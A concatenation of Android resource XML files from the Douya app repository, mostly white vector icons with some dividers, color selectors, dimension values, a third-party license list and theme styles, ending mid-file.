``` | /content/code_sandbox/app/src/main/res/drawable/event_note_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 231 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M3,17.25V21h3.75L17.81,9.94l-3.75,-3.75L3,17.25zM20.71,7.04c0.39,-0.39 0.39,-1.02 0,-1.41l-2.34,-2.34c-0.39,-0.39 -1.02,-0.39 -1.41,0l-1.83,1.83 3.75,3.75 1.83,-1.83z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/create_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 213 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M18,4l2,4h-3l-2,-4h-2l2,4h-3l-2,-4H8l2,4H7L5,4H4c-1.1,0 -1.99,0.9 -1.99,2L2,18c0,1.1 0.9,2 2,2h16c1.1,0 2,-0.9 2,-2V4h-4z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/movie_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 200 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2zm5 13.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12 17 15.59z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/cancel_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 219 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M12 3v10.55c-0.59-0.34-1.27-0.55-2-0.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3h-6z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/music_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 167 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M19,13h-6v6h-2v-6H5v-2h6V5h2v6h6v2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/add_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 123 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="18dp"
android:height="18dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M12 8c1.1 0 2-0.9 2-2s-0.9-2-2-2-2 0.9-2 2 0.9 2 2 2zm0 2c-1.1 0-2 0.9-2 2s0.9 2 2 2 2-0.9 2-2-0.9-2-2-2zm0 6c-1.1 0-2 0.9-2 2s0.9 2 2 2 2-0.9 2-2-0.9-2-2-2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/more_vertical_icon_white_18dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 244 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<shape xmlns:android="path_to_url">
<size android:width="2dp" />
</shape>
``` | /content/code_sandbox/app/src/main/res/drawable/transparent_divider_vertical_2dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 49 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M20,4L4,4c-1.1,0 -1.99,0.9 -1.99,2L2,18c0,1.1 0.9,2 2,2h16c1.1,0 2,-0.9 2,-2L22,6c0,-1.1 -0.9,-2 -2,-2zM20,18L4,18L4,8l8,5 8,-5v10zM12,11L4,6h16l-8,5z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/mail_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 215 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<ripple
xmlns:android="path_to_url"
android:color="?colorControlHighlight">
<item android:id="@android:id/mask">
<shape android:shape="oval">
<solid android:color="@android:color/white" />
</shape>
</item>
</ripple>
``` | /content/code_sandbox/app/src/main/res/drawable/selectable_item_background_oval.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 91 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<shape xmlns:android="path_to_url">
<size android:width="16dp" />
</shape>
``` | /content/code_sandbox/app/src/main/res/drawable/transparent_divider_vertical_16dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 49 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="40dp"
android:height="40dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M18,2H6c-1.1,0 -2,0.9 -2,2v16c0,1.1 0.9,2 2,2h12c1.1,0 2,-0.9 2,-2V4c0,-1.1 -0.9,-2 -2,-2zM6,4h5v8l-2.5,-1.5L6,12V4z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/book_badge_white_40dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 191 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M19,13H5v-2h14v2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/remove_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 104 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M9,16.17L4.83,12l-1.42,1.41L9,19 21,7l-1.41,-1.41z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/ok_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 129 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="40dp"
android:height="40dp"
android:viewportWidth="20"
android:viewportHeight="20">
<path
android:fillColor="#FF757575"
android:pathData="M9.99,0C4.47,0 0,4.48 0,10s4.47,10 9.99,10C15.52,20 20,15.52 20,10S15.52,0 9.99,0zm4.24,16L10,13.45 5.77,16l1.12,-4.81 -3.73,-3.23 4.92,-0.42L10,3l1.92,4.53 4.92,0.42 -3.73,3.23L14.23,16z"/>
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/recommendation_avatar_icon_40dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 230 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M20,11H7.83l5.59,-5.59L12,4l-8,8 8,8 1.41,-1.41L7.83,13H20v-2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/back_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 139 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1zM8 13h8v-2H8v2zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/link_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 283 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="18dp"
android:height="18dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M7,7h10v3l4,-4 -4,-4v3H5v6h2V7zm10,10H7v-3l-4,4 4,4v-3h12v-6h-2v4z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/rebroadcast_icon_white_18dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 148 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M18,2H6c-1.1,0 -2,0.9 -2,2v16c0,1.1 0.9,2 2,2h12c1.1,0 2,-0.9 2,-2V4c0,-1.1 -0.9,-2 -2,-2zM6,4h5v8l-2.5,-1.5L6,12V4z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/book_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 191 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<shape xmlns:android="path_to_url">
<size android:height="16dp" />
</shape>
``` | /content/code_sandbox/app/src/main/res/drawable/transparent_divider_horizontal_16dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 49 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M9 2L7.17 4H4c-1.1 0-2 0.9-2 2v12c0 1.1 0.9 2 2 2h16c1.1 0 2-0.9 2-2V6c0-1.1-0.9-2-2-2h-3.17L15 2H9zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm3.2-5A3.2,3.2 0 0 1 12 15.2 3.2 3.2 0 0 1 8.8 12 3.2 3.2 0 0 1 12 8.8 3.2 3.2 0 0 1 15.2 12Z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/camera_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 322 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M19.43,12.98c0.04,-0.32 0.07,-0.64 0.07,-0.98s-0.03,-0.66 -0.07,-0.98l2.11,-1.65c0.19,-0.15 0.24,-0.42 0.12,-0.64l-2,-3.46c-0.12,-0.22 -0.39,-0.3 -0.61,-0.22l-2.49,1c-0.52,-0.4 -1.08,-0.73 -1.69,-0.98l-0.38,-2.65C14.46,2.18 14.25,2 14,2h-4c-0.25,0 -0.46,0.18 -0.49,0.42l-0.38,2.65c-0.61,0.25 -1.17,0.59 -1.69,0.98l-2.49,-1c-0.23,-0.09 -0.49,0 -0.61,0.22l-2,3.46c-0.13,0.22 -0.07,0.49 0.12,0.64l2.11,1.65c-0.04,0.32 -0.07,0.65 -0.07,0.98s0.03,0.66 0.07,0.98l-2.11,1.65c-0.19,0.15 -0.24,0.42 -0.12,0.64l2,3.46c0.12,0.22 0.39,0.3 0.61,0.22l2.49,-1c0.52,0.4 1.08,0.73 1.69,0.98l0.38,2.65c0.03,0.24 0.24,0.42 0.49,0.42h4c0.25,0 0.46,-0.18 0.49,-0.42l0.38,-2.65c0.61,-0.25 1.17,-0.59 1.69,-0.98l2.49,1c0.23,0.09 0.49,0 0.61,-0.22l2,-3.46c0.12,-0.22 0.07,-0.49 -0.12,-0.64l-2.11,-1.65zM12,15.5c-1.93,0 -3.5,-1.57 -3.5,-3.5s1.57,-3.5 3.5,-3.5 3.5,1.57 3.5,3.5 -1.57,3.5 -3.5,3.5z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/settings_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 760 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M6 19c0 1.1 0.9 2 2 2h8c1.1 0 2-0.9 2-2V7H6v12zM19 4h-3.5l-1-1h-5l-1 1H5v2h14V4z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/delete_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 165 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<shape xmlns:android="path_to_url">
<size android:height="2dp" />
</shape>
``` | /content/code_sandbox/app/src/main/res/drawable/transparent_divider_horizontal_2dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 49 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="40dp"
android:height="40dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M7 19h10V4H7v15zm-5-2h4V6H2v11zM18 6v11h4V6h-4z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/similar_items_badge_white_40dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 129 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="18dp"
android:height="18dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M1,21h4V9H1v12zm22,-11c0,-1.1 -0.9,-2 -2,-2h-6.31l0.95,-4.57 0.03,-0.32c0,-0.41 -0.17,-0.79 -0.44,-1.06L14.17,1 7.59,7.59C7.22,7.95 7,8.45 7,9v10c0,1.1 0.9,2 2,2h9c0.83,0 1.54,-0.5 1.84,-1.22l3.02,-7.05c0.09,-0.23 0.14,-0.47 0.14,-0.73v-1.91l-0.01,-0.01L23,10z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/like_icon_white_18dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 290 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<layer-list xmlns:android="path_to_url">
<item android:id="@android:id/background">
<bitmap
android:src="@drawable/abc_ic_star_black_16dp"
android:tint="@color/ripple_material_light" />
</item>
<item android:id="@android:id/progress">
<bitmap
android:src="@drawable/abc_ic_star_black_16dp"
android:tint="@color/calendar_control_activated" />
</item>
</layer-list>
``` | /content/code_sandbox/app/src/main/res/drawable/calendar_rating_progress.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 131 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M19,6.41L17.59,5 12,10.59 6.41,5 5,6.41 10.59,12 5,17.59 6.41,19 12,13.41 17.59,19 19,17.59 13.41,12z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/close_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 163 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M6 18l8.5-6L6 6v12zM16 6v12h2V6h-2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/skip_to_next_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 120 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:autoMirrored="true"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M2.01,21L23,12 2.01,3 2,10l15,2 -15,2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/send_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 127 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M20,2H4c-1.1,0 -1.99,0.9 -1.99,2L2,22l4,-4h14c1.1,0 2,-0.9 2,-2V4c0,-1.1 -0.9,-2 -2,-2zm-7,9h-2V5h2v6zm0,4h-2v-2h2v2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/feedback_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 190 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="m 20.730563,11.6537 c -0.0852,1.7759 -0.52211,3.1771 -1.3106,4.2035 -0.78849,1.0265 -1.85757,1.5397 -3.20725,1.5397 -1.28574,0 -2.14526,-0.547 -2.57858,-1.6409 -0.36228,0.5399 -0.78317,0.9448 -1.26265,1.2147 -0.47949,0.2699 -0.98207,0.4049 -1.50773,0.4049 -1.0371101,0 -1.8238301,-0.4262 -2.3601501,-1.2786 -0.53631,-0.8525 -0.74054,-1.9926 -0.61268,-3.4204 0.11366,-1.1579 0.39603,-2.2021 0.8471,-3.1326 0.45107,-0.9306 1.02291,-1.6498 1.7155001,-2.1577 0.6926,-0.508 1.42959,-0.7619 2.21098,-0.7619 0.59669,0 1.12413,0.075 1.58231,0.2238 0.45818,0.1491 0.99627,0.4581 1.61428,0.927 0,0 -0.55408,5.9989 -0.55408,5.9989 -0.13497,1.4065 0.26993,2.1098 1.21471,2.1098 0.72456,0 1.31947,-0.389 1.78476,-1.1668 0.46528,-0.7778 0.71923,-1.7848 0.76185,-3.0208 0.12076,-2.6212 -0.38537,-4.6279 -1.51838,-6.0202 -1.13301,-1.3923 -2.83609,-2.0885 -5.10921,-2.0885 -1.3923,0 -2.6265401,0.3481 -3.7027201,1.0443 -1.07619,0.6961 -1.93039,1.703 -2.5626,3.0207 -0.63221,1.3177 -0.98029,2.8184 -1.04422,4.5019 -0.0852,1.712 0.11899,3.1877 0.61268,4.4273 0.49369,1.2395 1.25022,2.1825 2.26958,2.829 1.01936,0.6464 2.2642501,0.9696 3.7346801,0.9696 0.5967,0 1.22003,-0.071 1.87001,-0.2131 0.64997,-0.1421 1.20227,-0.3339 1.6569,-0.5754 0,0 0.4049,1.4598 0.4049,1.4598 -0.43332,0.2841 -1.01758,0.5132 -1.7528,0.6872 C 13.191933,21.913 12.451393,22 11.705523,22 9.9012329,22 8.3526529,21.6182 7.0598129,20.8546 c -1.29284,-0.7637 -2.26247,-1.8701 -2.9089,-3.3192 -0.66773,-1.4988 -0.96252,-3.2925 -0.88439,-5.3809 0.0852,-1.9464 0.52211,-3.6956 1.3106,-5.2477 0.7885,-1.5522 1.86646,-2.758 3.23389,-3.6175 C 9.1784329,2.4298 10.735893,2 12.483363,2 c 1.76878,0 3.29071,0.3889 4.56579,1.1668 1.27509,0.7778 2.22874,1.8966 2.86095,3.3564 0.63221,1.4598 0.9057,3.1699 0.82046,5.1305 z M 9.9793629,12.6766 c -0.0924,0.9661 -0.007,1.6995 0.2557301,2.2003 0.26283,0.5008 0.68194,0.7512 1.25732,0.7512 0.38359,0 0.74587,-0.1687 1.08684,-0.5061 0.34097,-0.3374 0.61801,-0.8009 0.83112,-1.3905 0,0 0.47949,-5.2531 0.47949,-5.2531 -0.35518,-0.1349 -0.69971,-0.2024 -1.03357,-0.2024 -0.78849,0 -1.43136,0.3711 -1.92861,1.1135 -0.49725,0.7423 -0.81335,1.838 -0.9483201,3.2871 z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/mention_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 1,442 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<resources>
<dimen name="toolbar_overflow_button_right_margin">4dp</dimen>
</resources>
``` | /content/code_sandbox/app/src/main/res/values-sw600dp-v23/dimens.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 49 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<resources xmlns:tools="path_to_url">
<!-- HACK: We don't use toolbar subtitle, so we want the title to be bigger. -->
<dimen name="abc_text_size_title_material_toolbar" tools:ignore="MissingDefaultResource">18dp</dimen>
<dimen name="toolbar_height">48dp</dimen>
<dimen name="toolbar_and_toolbar_height">96dp</dimen>
<dimen name="toolbar_and_tab_height">96dp</dimen>
<dimen name="scrim_height">144dp</dimen>
<dimen name="item_cover_horizontal_margin">0dp</dimen>
<dimen name="item_cover_vertical_margin">0dp</dimen>
<dimen name="item_cover_vertical_margin_negative">0dp</dimen>
</resources>
``` | /content/code_sandbox/app/src/main/res/values-land/dimens.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 203 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<selector xmlns:android="path_to_url">
<item android:state_enabled="false" android:color="@color/green_700" />
<item android:state_activated="true" android:color="?colorControlActivated" />
<item android:color="?colorControlNormal" />
</selector>
``` | /content/code_sandbox/app/src/main/res/color/icon_button_tint_game_app.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 91 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<selector xmlns:android="path_to_url">
<item android:state_enabled="false" android:color="@color/blue_700" />
<item android:state_activated="true" android:color="?colorControlActivated" />
<item android:color="?colorControlNormal" />
</selector>
``` | /content/code_sandbox/app/src/main/res/color/icon_button_tint_movie.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 90 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<selector xmlns:android="path_to_url">
<item android:state_enabled="false" android:color="@color/teal_700" />
<item android:state_activated="true" android:color="?colorControlActivated" />
<item android:color="?colorControlNormal" />
</selector>
``` | /content/code_sandbox/app/src/main/res/color/icon_button_tint_music.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 92 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<selector xmlns:android="path_to_url">
<item android:state_enabled="false" android:color="@color/brown_700" />
<item android:state_activated="true" android:color="?colorControlActivated" />
<item android:color="?colorControlNormal" />
</selector>
``` | /content/code_sandbox/app/src/main/res/color/icon_button_tint_book.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 91 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<resources xmlns:tools="path_to_url">
<bool name="config_materialPreferenceIconSpaceReserved" tools:ignore="MissingDefaultResource,PrivateResource">false</bool>
<dimen name="preference_category_padding_start" tools:ignore="MissingDefaultResource,PrivateResource">0dp</dimen>
</resources>
``` | /content/code_sandbox/app/src/main/res/values-sw360dp-v13/values-preference.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 94 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<notices>
<notice>
<name>Transitions Everywhere</name>
<url>path_to_url
</notice>
<notice>
<name>Stetho</name>
<url>path_to_url
</notice>
<notice>
<name>SubsamplingScaleImageView</name>
<url>path_to_url
</notice>
<notice>
<name>Glide</name>
<url>path_to_url
</notice>
<notice>
<name>PhotoView</name>
<url>path_to_url
</notice>
<notice>
<name>LunarCalendar</name>
<url>path_to_url
</notice>
<notice>
<name>Gson</name>
<url>path_to_url
</notice>
<notice>
<name>ButterKnife</name>
<url>path_to_url
</notice>
<notice>
<name>DiskLruCache</name>
<url>path_to_url
</notice>
<notice>
<name>Scalpel</name>
<url>path_to_url
</notice>
<notice>
<name>ThreeTenABP</name>
<url>path_to_url
</notice>
<notice>
<name>Retrofit</name>
<url>path_to_url
</notice>
<notice>
<name>CircleImageView</name>
<url>path_to_url
</notice>
<notice>
<name>CustomTabsHelper</name>
<url>path_to_url
</notice>
<notice>
<name>EffortlessPermissions</name>
<url>path_to_url
</notice>
<notice>
<name>MaterialEditText</name>
<url>path_to_url
</notice>
<notice>
<name>MaterialPlayPauseDrawable</name>
<url>path_to_url
</notice>
<notice>
<name>MaterialProgressBar</name>
<url>path_to_url
</notice>
<notice>
<name>MaterialRatingBar</name>
<url>path_to_url
</notice>
<notice>
<name>SystemUiHelper</name>
<url>path_to_url
</notice>
<notice>
<name>EventBus</name>
<url>path_to_url
</notice>
</notices>
``` | /content/code_sandbox/app/src/main/res/raw/licenses.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 572 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<resources>
<style name="Base.Theme.Douya" parent="Base.Theme.Douya.Dark" />
<style name="Base.Theme.Douya.DialogWhenLarge" parent="Base.Theme.Douya.Dark.DialogWhenLarge" />
<style name="Base.Theme.Douya.Light.DialogWhenLarge" parent="Base.Theme.Douya.Dark.DialogWhenLarge" />
<style name="Base.Theme.Douya.MainActivity" parent="Theme.Douya.ScrimStatusBar" />
<style name="Base.Theme.Douya.BroadcastActivity" parent="Theme.Douya.DarkBackground" />
<style name="Theme.Douya.Book" parent="Base.Theme.Douya.Book.Dark" />
<style name="Theme.Douya.Book.DialogWhenLarge" parent="Base.Theme.Douya.Book.DialogWhenLarge.Dark" />
<style name="Theme.Douya.Movie" parent="Base.Theme.Douya.Movie.Dark" />
<style name="Theme.Douya.Movie.DialogWhenLarge" parent="Base.Theme.Douya.Movie.DialogWhenLarge.Dark" />
